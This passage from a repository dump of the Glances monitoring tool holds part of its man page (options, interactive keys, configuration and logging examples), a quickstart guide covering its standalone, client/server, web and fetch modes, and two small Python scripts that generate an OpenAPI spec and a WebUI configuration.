to a Glances server by IPv4/IPv6 address, hostname or hostname:port\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-s, \\-\\-server\nrun Glances in server mode\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-browser\nstart TUI Central Glances Browser\nuse –browser \\-w to start WebUI Central Glances Browser\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-autodiscover\ndisable autodiscover feature\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-p PORT, \\-\\-port PORT\ndefine the client/server TCP port [default: 61209]\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-B BIND_ADDRESS, \\-\\-bind BIND_ADDRESS\nbind server to the given IPv4/IPv6 address or hostname\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-username\ndefine a client/server username\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-password\ndefine a client/server password\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-snmp\\-community SNMP_COMMUNITY\nSNMP community\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-snmp\\-port SNMP_PORT\nSNMP port\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-snmp\\-version SNMP_VERSION\nSNMP version (1, 2c or 3)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-snmp\\-user SNMP_USER\nSNMP username (only for SNMPv3)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-snmp\\-auth SNMP_AUTH\nSNMP authentication key (only for SNMPv3)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-snmp\\-force\nforce SNMP mode\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-t TIME, \\-\\-time TIME\nset refresh time in seconds [default: 3 sec]\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-w, \\-\\-webserver\nrun Glances in web server mode (FastAPI lib needed)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-enable\\-mcp\nenable the MCP (Model Context Protocol) server alongside the web server\n(\\fBmcp\\fP package needed, see MCP (Model Context Protocol) server \\%<#\\:api-mcp>)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-mcp\\-path MCP_PATH\nset the MCP server mount path [default: /mcp]\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-cached\\-time CACHED_TIME\nset the server cache time [default: 1 sec]\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-open\\-web\\-browser\ntry to open the Web UI in the default Web browser\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-q, \\-\\-quiet\ndo not display the curses interface\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-f PROCESS_FILTER, \\-\\-process\\-filter PROCESS_FILTER\nset the process filter pattern (regular expression)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-process\\-short\\-name\nforce short name for processes name\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-hide\\-kernel\\-threads\nhide kernel threads in the process list (not available on Windows)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-b, \\-\\-byte\ndisplay network rate in bytes per second\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-diskio\\-show\\-ramfs\nshow RAM FS in the DiskIO plugin\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-diskio\\-iops\nshow I/O per second in the DiskIO plugin\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-fahrenheit\ndisplay temperature in Fahrenheit (default is Celsius)\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-fs\\-free\\-space\ndisplay FS free space instead of used\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-theme\\-white\noptimize display colors for a white background\n.UNINDENT\n.INDENT 0.0\n.TP\n.B \\-\\-disable\\-check\\-update\ndisable online Glances version check\n.UNINDENT\n.SH INTERACTIVE COMMANDS\n.sp\nThe following commands (key pressed) are supported while in Glances:\n.INDENT 0.0\n.TP\n.B \\fBENTER\\fP\nSet the process filter\n.sp\n\\fBNote:\\fP\n.INDENT 7.0\n.INDENT 3.5\nOn macOS please use \\fBCTRL\\-H\\fP to delete filter.\n.UNINDENT\n.UNINDENT\n.sp\nThe filter is a regular expression pattern:\n.INDENT 7.0\n.IP \\(bu 2\n\\fBgnome\\fP: matches all processes starting with the \\fBgnome\\fP\nstring\n.IP \\(bu 2\n\\fB\\&.*gnome.*\\fP: matches all processes containing the \\fBgnome\\fP\nstring\n.UNINDENT\n.TP\n.B \\fBa\\fP\nSort process list automatically\n.INDENT 7.0\n.IP \\(bu 2\nIf CPU \\fB>70%\\fP, sort processes by CPU usage\n.IP \\(bu 2\nIf MEM \\fB>70%\\fP, sort processes by MEM usage\n.IP \\(bu 2\nIf CPU iowait \\fB>60%\\fP, sort processes by I/O read and write\n.UNINDENT\n.TP\n.B \\fBA\\fP\nEnable/disable the Application Monitoring Process\n.TP\n.B \\fBb\\fP\nSwitch between bit/s or Byte/s for network I/O\n.TP\n.B \\fBB\\fP\nView disk I/O counters per second\n.TP\n.B \\fBc\\fP\nSort processes by CPU usage\n.TP\n.B \\fBC\\fP\nEnable/disable cloud stats\n.TP\n.B \\fBd\\fP\nShow/hide disk I/O stats\n.TP\n.B \\fBD\\fP\nEnable/disable Docker stats\n.TP\n.B \\fBe\\fP\nEnable/disable top extended stats\n.TP\n.B \\fBE\\fP\nErase the current process filter\n.TP\n.B \\fBf\\fP\nShow/hide file system and folder monitoring stats\n.TP\n.B \\fBF\\fP\nSwitch between file system used and free space\n.TP\n.B \\fBg\\fP\nGenerate graphs for current history\n.TP\n.B \\fBG\\fP\nEnable/disable GPU stats\n.TP\n.B \\fBh\\fP\nShow/hide the help screen\n.TP\n.B \\fBi\\fP\nSort processes by I/O rate\n.TP\n.B \\fBI\\fP\nShow/hide IP module\n.TP\n.B \\fB+\\fP\nIncrease selected process nice level / Lower the priority (need right) \\- Only in standalone mode.\n.TP\n.B \\fB\\-\\fP\nDecrease selected process nice level / Higher the priority (need right) \\- Only in standalone mode.\n.TP\n.B \\fBk\\fP\nKill selected process (need right) \\- Only in standalone mode.\n.TP\n.B \\fBK\\fP\nShow/hide TCP connections\n.TP\n.B \\fBl\\fP\nShow/hide log messages\n.TP\n.B \\fBm\\fP\nSort processes by MEM usage\n.TP\n.B \\fBM\\fP\nReset processes summary min/max\n.TP\n.B \\fBn\\fP\nShow/hide network stats\n.TP\n.B \\fBN\\fP\nShow/hide current time\n.TP\n.B \\fBp\\fP\nSort processes by name\n.TP\n.B \\fBP\\fP\nEnable/Disable ports stats\n.TP\n.B \\fBq|ESC|CTRL\\-C\\fP\nQuit the current Glances session\n.TP\n.B \\fBQ\\fP\nShow/hide IRQ module\n.TP\n.B \\fBr\\fP\nReset history\n.TP\n.B \\fBR\\fP\nShow/hide RAID plugin\n.TP\n.B \\fBs\\fP\nShow/hide sensors plugin\n.TP\n.B \\fBS\\fP\nEnable/disable spark lines\n.TP\n.B \\fBt\\fP\nSort process by CPU times (TIME+)\n.TP\n.B \\fBT\\fP\nView network I/O as a combination\n.TP\n.B \\fBu\\fP\nSort processes by USER\n.TP\n.B \\fBU\\fP\nView cumulative network I/O\n.TP\n.B \\fBV\\fP\nShow/hide VMS plugin\n.TP\n.B \\fBw\\fP\nDelete finished warning log messages\n.TP\n.B \\fBW\\fP\nShow/hide Wifi module\n.TP\n.B \\fBx\\fP\nDelete finished warning and critical log messages\n.TP\n.B \\fBz\\fP\nShow/hide processes stats\n.TP\n.B \\fB0\\fP\nEnable/disable Irix/Solaris mode\n.sp\nThe task’s CPU usage will be divided by the total number of CPUs\n.TP\n.B \\fB1\\fP\nSwitch between global CPU and per\\-CPU stats\n.TP\n.B \\fB2\\fP\nEnable/disable the left sidebar\n.TP\n.B \\fB3\\fP\nEnable/disable the quick look module\n.TP\n.B \\fB4\\fP\nEnable/disable all but quick look and load module\n.TP\n.B \\fB5\\fP\nEnable/disable the top menu (QuickLook, CPU, MEM, SWAP, and LOAD)\n.TP\n.B \\fB6\\fP\nEnable/disable mean GPU mode\n.TP\n.B \\fB9\\fP\nSwitch UI theme between black and white\n.TP\n.B \\fB/\\fP\nSwitch between process command line or command name\n.TP\n.B \\fBF5\\fP or \\fBCTRL\\-R\\fP\nRefresh user interface\n.TP\n.B \\fBSHIFT\\-LEFT\\fP\nNavigation left through the process sort\n.TP\n.B \\fBSHIFT\\-RIGHT\\fP\nNavigation right through the process sort\n.TP\n.B \\fBLEFT\\fP\nNavigation left through the process name\n.TP\n.B \\fBRIGHT\\fP\nNavigation right through the process name\n.TP\n.B \\fBUP\\fP\nUp in the processes list\n.TP\n.B \\fBDOWN\\fP\nDown in the processes list\n.UNINDENT\n.sp\nIn the Glances client browser (accessible through the \\fB\\-\\-browser\\fP\ncommand line argument):\n.INDENT 0.0\n.TP\n.B \\fBENTER\\fP\nRun the selected server\n.TP\n.B \\fBUP\\fP\nUp in the servers list\n.TP\n.B \\fBDOWN\\fP\nDown in the servers list\n.TP\n.B \\fBq|ESC\\fP\nQuit Glances\n.UNINDENT\n.SH CONFIGURATION\n.sp\nNo configuration file is mandatory to use Glances.\n.sp\nFurthermore, a configuration file is needed to access more settings.\n.SH LOCATION\n.sp\n\\fBNote:\\fP\n.INDENT 0.0\n.INDENT 3.5\nA template is available in the \\fB/usr{,/local}/share/doc/glances\\fP\n(Unix\\-like) directory or directly on GitHub \\%<https://\\:raw\\:.githubusercontent\\:.com/\\:nicolargo/\\:glances/\\:master/\\:conf/\\:glances\\:.conf>\\&.\n.UNINDENT\n.UNINDENT\n.sp\nYou can place your \\fBglances.conf\\fP file in the following locations:\n.TS\nbox center;\nl|l.\nT{\n\\fBLinux\\fP, \\fBSunOS\\fP\nT}\tT{\n~/.config/glances/, /etc/glances/, /usr/share/doc/glances/\nT}\n_\nT{\n\\fB*BSD\\fP\nT}\tT{\n~/.config/glances/, /usr/local/etc/glances/, /usr/share/doc/glances/\nT}\n_\nT{\n\\fBmacOS\\fP\nT}\tT{\n~/.config/glances/, ~/Library/Application Support/glances/, /usr/local/etc/glances/, /usr/share/doc/glances/\nT}\n_\nT{\n\\fBWindows\\fP\nT}\tT{\n%APPDATA%\\eglances\\eglances.conf\nT}\n_\nT{\n\\fBAll\\fP\nT}\tT{\n.INDENT 0.0\n.IP \\(bu 2\n<venv_root_folder>/share/doc/glances/\n.UNINDENT\nT}\n.TE\n.INDENT 0.0\n.IP \\(bu 2\nOn Windows XP, \\fB%APPDATA%\\fP is: \\fBC:\\eDocuments and Settings\\e<USERNAME>\\eApplication Data\\fP\\&.\n.IP \\(bu 2\nOn Windows Vista and later: \\fBC:\\eUsers\\e<USERNAME>\\eAppData\\eRoaming\\fP\\&.\n.UNINDENT\n.sp\nUser\\-specific options override system\\-wide options, and options given on\nthe command line overrides both.\n.SH SYNTAX\n.sp\nGlances read configuration files in the \\fIini\\fP syntax.\n.sp\nA first section (called global) is available:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[global]\n# Refresh rate (default is a minimum of 2 seconds)\n# Can be overwritten by the \\-t <sec> option\n# It is also possible to overwrite it in each plugin section\nrefresh=2\n# Should Glances check if a newer version is available on PyPI ?\ncheck_update=true\n# History size (maximum number of values)\n# Default is 1200 values (~1h with the default refresh rate)\nhistory_size=1200\n# Set the way Glances should display the date (default is %Y\\-%m\\-%d %H:%M:%S %Z)\n#strftime_format=\\(dq%Y\\-%m\\-%d %H:%M:%S %Z\\(dq\n# Define external directory for loading additional plugins\n# The layout follows the glances standard for plugin definitions\n#plugin_dir=/home/user/dev/plugins\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nthan a second one concerning the user interface:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[outputs]\n# Options for all UIs\n#\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\n# Separator in the Curses and WebUI interface (between top and others plugins)\nseparator=True\n# Set the the Curses and WebUI interface left menu plugin list (comma\\-separated)\n#left_menu=network,wifi,connections,ports,diskio,fs,irq,folders,raid,smart,sensors,now\n# Limit the number of processes to display (in the WebUI)\nmax_processes_display=25\n# Options for WebUI\n#\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\\-\n# Set URL prefix for the WebUI and the API\n# Example: url_prefix=/glances/ => http://localhost/glances/\n# Note: The final / is mandatory\n# Default is no prefix (/)\n#url_prefix=/glances/\n# Set root path for WebUI statics files\n# Why ? On Debian system, WebUI statics files are not provided.\n# You can download it in a specific folder\n# thanks to https://github.com/nicolargo/glances/issues/2021\n# then configure this folder with the webui_root_path key\n# Default is folder where glances_restful_api.py is hosted\n#webui_root_path=\n# CORS options\n# Comma separated list of origins that should be permitted to make cross\\-origin requests.\n# Default is *\n#cors_origins=*\n# Indicate that cookies should be supported for cross\\-origin requests.\n# Default is True\n#cors_credentials=True\n# Comma separated list of HTTP methods that should be allowed for cross\\-origin requests.\n# Default is *\n#cors_methods=*\n# Comma separated list of HTTP request headers that should be supported for cross\\-origin requests.\n# Default is *\n#cors_headers=*\n# Define SSL files (keyfile_password is optional)\n#ssl_keyfile=./glances.local+3\\-key.pem\n#ssl_keyfile_password=kfp\n#ssl_certfile=./glances.local+3.pem\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nEach plugin, export module, and application monitoring process (AMP) can\nhave a section. Below is an example for the CPU plugin:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[cpu]\ndisable=False\nrefresh=3\nuser_careful=50\nuser_warning=70\nuser_critical=90\niowait_careful=50\niowait_warning=70\niowait_critical=90\nsystem_careful=50\nsystem_warning=70\nsystem_critical=90\nsteal_careful=50\nsteal_warning=70\nsteal_critical=90\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nan InfluxDB export module:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[influxdb]\n# Configuration for the \\-\\-export influxdb option\n# https://influxdb.com/\nhost=localhost\nport=8086\nuser=root\npassword=root\ndb=glances\nprefix=localhost\n#tags=foo:bar,spam:eggs\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nor a Nginx AMP:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[amp_nginx]\n# Nginx status page should be enabled (https://easyengine.io/tutorials/nginx/status\\-page/)\nenable=true\nregex=\\e/usr\\e/sbin\\e/nginx\nrefresh=60\none_line=false\nstatus_url=http://localhost/nginx_status\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nWith Glances 3.0 or higher, you can use dynamic configuration values\nby utilizing system commands. For example, if you want to set the prefix\nof an InfluxDB export to the current hostname, use:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[influxdb]\n\\&...\nprefix=\\(gahostname\\(ga\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nOr if you want to add the Operating System name as a tag:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n[influxdb]\n\\&...\ntags=system:\\(gauname \\-a\\(ga\n.EE\n.UNINDENT\n.UNINDENT\n.SH LOGGING\n.sp\nGlances logs all of its internal messages to a log file.\n.sp\n\\fBDEBUG\\fP messages can be logged using the \\fB\\-d\\fP option on the command\nline.\n.sp\nThe location of the Glances log file depends on your operating system. You can\ndisplay the full path of the Glances log file using the \\fBglances \\-V\\fP\ncommand line.\n.sp\nThe file is automatically rotated when its size exceeds 1 MB.\n.sp\nIf you want to use another system path or change the log message, you\ncan use your logger configuration. First of all, you have to create\na \\fBglances.json\\fP file with, for example, the following content (JSON\nformat):\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\n{\n    \\(dqversion\\(dq: 1,\n    \\(dqdisable_existing_loggers\\(dq: \\(dqFalse\\(dq,\n    \\(dqroot\\(dq: {\n        \\(dqlevel\\(dq: \\(dqINFO\\(dq,\n        \\(dqhandlers\\(dq: [\\(dqfile\\(dq, \\(dqconsole\\(dq]\n    },\n    \\(dqformatters\\(dq: {\n        \\(dqstandard\\(dq: {\n            \\(dqformat\\(dq: \\(dq%(asctime)s \\-\\- %(levelname)s \\-\\- %(message)s\\(dq\n        },\n        \\(dqshort\\(dq: {\n            \\(dqformat\\(dq: \\(dq%(levelname)s: %(message)s\\(dq\n        },\n        \\(dqfree\\(dq: {\n            \\(dqformat\\(dq: \\(dq%(message)s\\(dq\n        }\n    },\n    \\(dqhandlers\\(dq: {\n        \\(dqfile\\(dq: {\n            \\(dqlevel\\(dq: \\(dqDEBUG\\(dq,\n            \\(dqclass\\(dq: \\(dqlogging.handlers.RotatingFileHandler\\(dq,\n            \\(dqformatter\\(dq: \\(dqstandard\\(dq,\n            \\(dqfilename\\(dq: \\(dq/var/tmp/glances.log\\(dq\n        },\n        \\(dqconsole\\(dq: {\n            \\(dqlevel\\(dq: \\(dqCRITICAL\\(dq,\n            \\(dqclass\\(dq: \\(dqlogging.StreamHandler\\(dq,\n            \\(dqformatter\\(dq: \\(dqfree\\(dq\n        }\n    },\n    \\(dqloggers\\(dq: {\n        \\(dqdebug\\(dq: {\n            \\(dqhandlers\\(dq: [\\(dqfile\\(dq, \\(dqconsole\\(dq],\n            \\(dqlevel\\(dq: \\(dqDEBUG\\(dq\n        },\n        \\(dqverbose\\(dq: {\n            \\(dqhandlers\\(dq: [\\(dqfile\\(dq, \\(dqconsole\\(dq],\n            \\(dqlevel\\(dq: \\(dqINFO\\(dq\n        },\n        \\(dqstandard\\(dq: {\n            \\(dqhandlers\\(dq: [\\(dqfile\\(dq],\n            \\(dqlevel\\(dq: \\(dqINFO\\(dq\n        },\n        \\(dqrequests\\(dq: {\n            \\(dqhandlers\\(dq: [\\(dqfile\\(dq, \\(dqconsole\\(dq],\n            \\(dqlevel\\(dq: \\(dqERROR\\(dq\n        },\n        \\(dqelasticsearch\\(dq: {\n            \\(dqhandlers\\(dq: [\\(dqfile\\(dq, \\(dqconsole\\(dq],\n            \\(dqlevel\\(dq: \\(dqERROR\\(dq\n        },\n        \\(dqelasticsearch.trace\\(dq: {\n            \\(dqhandlers\\(dq: [\\(dqfile\\(dq, \\(dqconsole\\(dq],\n            \\(dqlevel\\(dq: \\(dqERROR\\(dq\n        }\n    }\n}\n.EE\n.UNINDENT\n.UNINDENT\n.sp\nand start Glances using the following command line:\n.INDENT 0.0\n.INDENT 3.5\n.sp\n.EX\nLOG_CFG=<path>/glances.json glances\n.EE\n.UNINDENT\n.UNINDENT\n.sp\n\\fBNote:\\fP\n.INDENT 0.0\n.INDENT 3.5\nReplace \\fB<path>\\fP with the directory where your \\fBglances.json\\fP file\nis hosted.\n.UNINDENT\n.UNINDENT\n.SH EXAMPLES\n.sp\nMonitor local machine, also called standalone mode,\nwith the Text\\-based user interface (TUI):\n.INDENT 0.0\n.INDENT 3.5\n$ glances\n.UNINDENT\n.UNINDENT\n.sp\nTo monitor the local machine with the Web user interface (WebUI),\n, run the following command line:\n.INDENT 0.0\n.INDENT 3.5\n$ glances \\-w\n.UNINDENT\n.UNINDENT\n.sp\nthen, open a Web Browser to the provided URL.\n.sp\nMonitor local machine and export stats to a CSV file:\n.INDENT 0.0\n.INDENT 3.5\n$ glances –export csv –export\\-csv\\-file /tmp/glances.csv\n.UNINDENT\n.UNINDENT\n.sp\nMonitor local machine and export stats to an InfluxDB server with 5s\nrefresh time (also possible to export to OpenTSDB, Cassandra, Statsd,\nElasticSearch, RabbitMQ, and Riemann):\n.INDENT 0.0\n.INDENT 3.5\n$ glances \\-t 5 –export influxdb\n.UNINDENT\n.UNINDENT\n.sp\nIt is also possible to export stats to multiple endpoints:\n.INDENT 0.0\n.INDENT 3.5\n$ glances \\-t 5 –export influxdb,statsd,csv\n.UNINDENT\n.UNINDENT\n.sp\nStart a Glances server (server mode):\n.INDENT 0.0\n.INDENT 3.5\n$ glances \\-s\n.UNINDENT\n.UNINDENT\n.sp\nConnect Glances to a Glances server (client mode):\n.INDENT 0.0\n.INDENT 3.5\n$ glances \\-c <ip_server>\n.UNINDENT\n.UNINDENT\n.sp\nConnect to a Glances server and export stats to a StatsD server:\n.INDENT 0.0\n.INDENT 3.5\n$ glances \\-c <ip_server> –export statsd\n.UNINDENT\n.UNINDENT\n.sp\nStart the TUI Central Glances Browser:\n.INDENT 0.0\n.INDENT 3.5\n$ glances –browser\n.UNINDENT\n.UNINDENT\n.sp\nStart the WebUI Central Glances Browser (new in Glances 4.3 or higher):\n.INDENT 0.0\n.INDENT 3.5\n$ glances –browser \\-w\n.UNINDENT\n.UNINDENT\n.sp\nIf you do not want to see the local Glances Web Server in the browser list please use –disable\\-autodiscover option.\n.SH AUTHOR\n.sp\nNicolas Hennion aka Nicolargo <\\%<contact@\\:nicolargo\\:.com>>\n.SH Copyright\n2026, Nicolas Hennion\n.\\\" End of generated man page.\n"
  },
  {
    "path": "docs/quickstart.rst",
    "content": ".. _quickstart:\n\nQuickstart\n==========\n\nThis page gives a good introduction to how to get started with Glances.\nGlances offers multiple modes:\n\n- Standalone\n- Client/Server\n- Web server\n- Fetch\n\nStandalone Mode\n---------------\n\nIf you want to monitor your local machine, open a console/terminal\nand simply run:\n\n.. code-block:: console\n\n    $ glances\n\nGlances should start (press 'q' or 'ESC' to exit):\n\n.. image:: _static/screenshot-wide.png\n\nIt is also possible to display RAW (Python) stats directly to stdout using:\n\n.. code-block:: console\n\n    $ glances --stdout cpu.user,mem.used,load,network.wlp2s0.bytes_all\n    cpu.user: 30.7\n    mem.used: 3278204928\n    load: {'cpucore': 4, 'min1': 0.21, 'min5': 0.4, 'min15': 0.27}\n    network.wlp2s0.bytes_all: 13479\n    cpu.user: 3.4\n    mem.used: 3275251712\n    load: {'cpucore': 4, 'min1': 0.19, 'min5': 0.39, 'min15': 0.27}\n    network.wlp2s0.bytes_all: 12868\n    ...\n\nor in a CSV format thanks to the stdout-csv option (key not supported in this mode):\n\n.. code-block:: console\n\n    $ glances --stdout-csv now,cpu.user,mem.used,load\n    now,cpu.user,mem.used,load.cpucore,load.min1,load.min5,load.min15\n    2018-12-08 22:04:20 CEST,7.3,5948149760,4,1.04,0.99,1.04\n    2018-12-08 22:04:23 CEST,5.4,5949136896,4,1.04,0.99,1.04\n    ...\n\nor as a JSON format thanks to the stdout-json option (attribute not supported in this mode):\n\n.. code-block:: console\n\n    $ glances --stdout-json cpu,mem\n    cpu: {\"total\": 29.0, \"user\": 24.7, \"nice\": 0.0, \"system\": 3.8, \"idle\": 71.4, \"iowait\": 0.0, \"irq\": 0.0, \"softirq\": 0.0, \"steal\": 0.0, \"guest\": 0.0, \"guest_nice\": 0.0, \"time_since_update\": 1, \"cpucore\": 4, \"ctx_switches\": 0, \"interrupts\": 0, \"soft_interrupts\": 0, \"syscalls\": 0}\n    mem: {\"total\": 7837949952, \"available\": 2919079936, \"percent\": 62.8, \"used\": 4918870016, \"free\": 2919079936, \"active\": 2841214976, \"inactive\": 3340550144, \"buffers\": 546799616, \"cached\": 3068141568, \"shared\": 788156416}\n    ...\n\nNote: It will display one line per stat per refresh.\n\nClient/Server Mode\n------------------\n\nIf you want to remotely monitor a machine called ``server``, from\nanother one, called ``client``, just run on the server:\n\n.. code-block:: console\n\n    server$ glances -s\n\nand on the client:\n\n.. code-block:: console\n\n    client$ glances -c @server\n\nwhere ``@server`` is the IP address or hostname of the server.\n\nIn server mode, you can set the bind address with ``-B ADDRESS`` and\nthe listening TCP port with ``-p PORT``.\n\nIn client mode, you can set the TCP port of the server with ``-p PORT``.\n\nDefault binding address is ``0.0.0.0`` (Glances will listen on all the\navailable network interfaces) and TCP port is ``61209``.\n\nIn client/server mode, limits are set by the server side.\n\nCentral Glances Browser\n^^^^^^^^^^^^^^^^^^^^^^^\n\n.. image:: _static/browser.png\n\nGlances can centralize available Glances servers using the ``--browser``\noption. The server list can be statically defined via the configuration\nfile (section ``[serverlist]``).\n\nExample:\n\n.. code-block:: ini\n\n    [serverlist]\n    # Define columns (comma separated list of <plugin>:<field>:(<key>)) to grab/display\n    # Default is: system:hr_name,load:min5,cpu:total,mem:percent\n    # You can also add stats with key, like sensors:value:Ambient (key is case sensitive)\n    columns=system:hr_name,load:min5,cpu:total,mem:percent,memswap:percent\n    # Define the static servers list\n    server_1_name=xps\n    server_1_alias=xps\n    server_1_port=61209\n    server_2_name=win\n    server_2_port=61235\n\nGlances can also detect and display all Glances servers available on\nyour network via the ``zeroconf`` protocol (not available on Windows):\n\nTo start the TUI Central Glances Browser, use the following option:\n\n.. code-block:: console\n\n    client$ glances --browser\n\nWhen the list is displayed, you can navigate through the Glances servers with\nup/down keys. It is also possible to sort the server using:\n- '1' is normal (do not sort)\n- '2' is using sorting with ascending order (ONLINE > SNMP > PROTECTED > OFFLINE > UNKNOWN)\n- '3' is using sorting with descending order (UNKNOWN > OFFLINE > PROTECTED > SNMP > ONLINE)\n\nTo start the WebUI Central Glances Browser (new in Glances 4.3 or higher), use the following option:\n\n.. code-block:: console\n\n    client$ glances --browser -w\n\nOpen the URL (/browser) and click on the server to display stats.\n\n.. note::\n\n    Use ``--disable-autodiscover`` to disable the auto-discovery mode.\n\nSNMP\n^^^^\n\nAs an experimental feature, if Glances server is not detected by the\nclient, the latter will try to grab stats using the ``SNMP`` protocol:\n\n.. code-block:: console\n\n    client$ glances -c @snmpserver\n\n.. note::\n    Stats grabbed by SNMP request are limited and OS-dependent.\n    A SNMP server should be installed and configured...\n\n\nIPv6\n^^^^\n\nGlances is ``IPv6`` compatible. Just use the ``-B ::`` option to bind to\nall IPv6 addresses.\n\nWeb Server Mode\n---------------\n\n.. image:: _static/screenshot-web.png\n\nIf you want to remotely monitor a machine called ``server``, from any\ndevice with a web browser, just run the server with the ``-w`` option:\n\n.. code-block:: console\n\n    server$ glances -w\n\nthen, on the client, enter the following URL in your favorite web browser:\n\n::\n\n    http://@server:61208\n\nwhere ``@server`` is the IP address or hostname of the server.\n\nTo change the refresh rate of the page, add the period in seconds\nat the end of the URL. For example, to refresh the page every ``10``\nseconds:\n\n::\n\n    http://@server:61208/10\n\nThe Glances web interface follows responsive web design principles.\n\nHere's a screenshot from Chrome on Android:\n\n.. image:: _static/screenshot-web2.png\n\nHow do you protect your server (or Web server) with a login/password ?\n----------------------------------------------------------------------\n\nYou can set a password to access the server using the ``--password``.\nBy default, the login is ``glances`` but you can change it with\n``--username``.\n\nIf you want, the SHA password will be stored in ``<login>.pwd`` file (in\nthe same folder where the Glances configuration file is stored, so\n~/.config/glances/ on GNU Linux operating system).\n\nNext time you run the server/client, password will not be asked. To set a\nspecific username, you can use the -u <username> option.\n\nIt is also possible to set the default password in the Glances configuration\nfile:\n\n.. code-block:: ini\n\n    [passwords]\n    # Define the passwords list\n    # Syntax: host=password\n    # Where: host is the hostname\n    #        password is the clear password\n    # Additionally (and optionally) a default password could be defined\n    localhost=mylocalhostpassword\n    default=mydefaultpassword\n\nFetch mode\n----------\n\nIt is also possible to get and share a quick look of a machine using the\n``fetch`` mode. In this mode, current stats are display on the console in\na fancy way.\n\n.. code-block:: console\n\n    $ glances --fetch\n\nResults look like this:\n\n.. image:: _static/screenshot-fetch.png\n\nIt is also possible to use a custom template with the ``--fetch-template </path/to/template.jinja>`` option.\n\nHave a look to the :ref:`fetch documentation page<fetch>` to learn how to create your own template.\n"
  },
  {
    "path": "docs/support.rst",
    "content": ".. _support:\n\nSupport\n=======\n\nTo post a question about Glances use cases, please post it to the\nofficial Q&A `forum\n<https://groups.google.com/forum/?hl=en#!forum/glances-users>`_.\n\nTo report a bug or a feature request, use the GitHub `issue\n<https://github.com/nicolargo/glances/issues>`_ tracker.\n\nFeel free to contribute!\n"
  },
  {
    "path": "generate_openapi.py",
    "content": "import json\nfrom unittest.mock import patch\n\nfrom fastapi.openapi.utils import get_openapi\n\nfrom glances.main import GlancesMain\n\n# sys.path.append('./glances/outputs')\nfrom glances.outputs.glances_restful_api import GlancesRestfulApi\n\n# Init Glances core\ntestargs = [\"glances\", \"-C\", \"./conf/glances.conf\"]\nwith patch('sys.argv', testargs):\n    core = GlancesMain()\ntest_config = core.get_config()\ntest_args = core.get_args()\n\napp = GlancesRestfulApi(config=test_config, args=test_args)._app\n\nwith open('./docs/api/openapi.json', 'w') as f:\n    json.dump(\n        get_openapi(\n            title=app.title,\n            version=app.version,\n            # Set the OenAPI version\n            # It's an hack to make openapi.json compatible with tools like https://editor.swagger.io/\n            # Please read https://fastapi.tiangolo.com/reference/fastapi/?h=openapi#fastapi.FastAPI.openapi_version\n            openapi_version=\"3.0.2\",\n            description=app.description,\n            routes=app.routes,\n        ),\n        f,\n    )\n"
  },
  {
    "path": "generate_webui_conf.py",
    "content": "import json\n\nfrom glances.outputs.glances_curses import _GlancesCurses\n\nprint(\n    json.dumps(\n        {\n            \"topMenu\": list(_GlancesCurses._top),\n            \"leftMenu\": [p for p in _GlancesCurses._left_sidebar if p != \"now\"],\n        },\n        indent=4,\n    )\n)\n"
  },
  {
    "path": "glances/README.txt",
    "content": "You are in the main Glances source folder. This page is **ONLY** for developers.\n\nIf you are looking for the user manual, please follow this link:\nhttps://glances.readthedocs.io/en/stable/\n"
  },
  {
    "path": "glances/__init__.py",
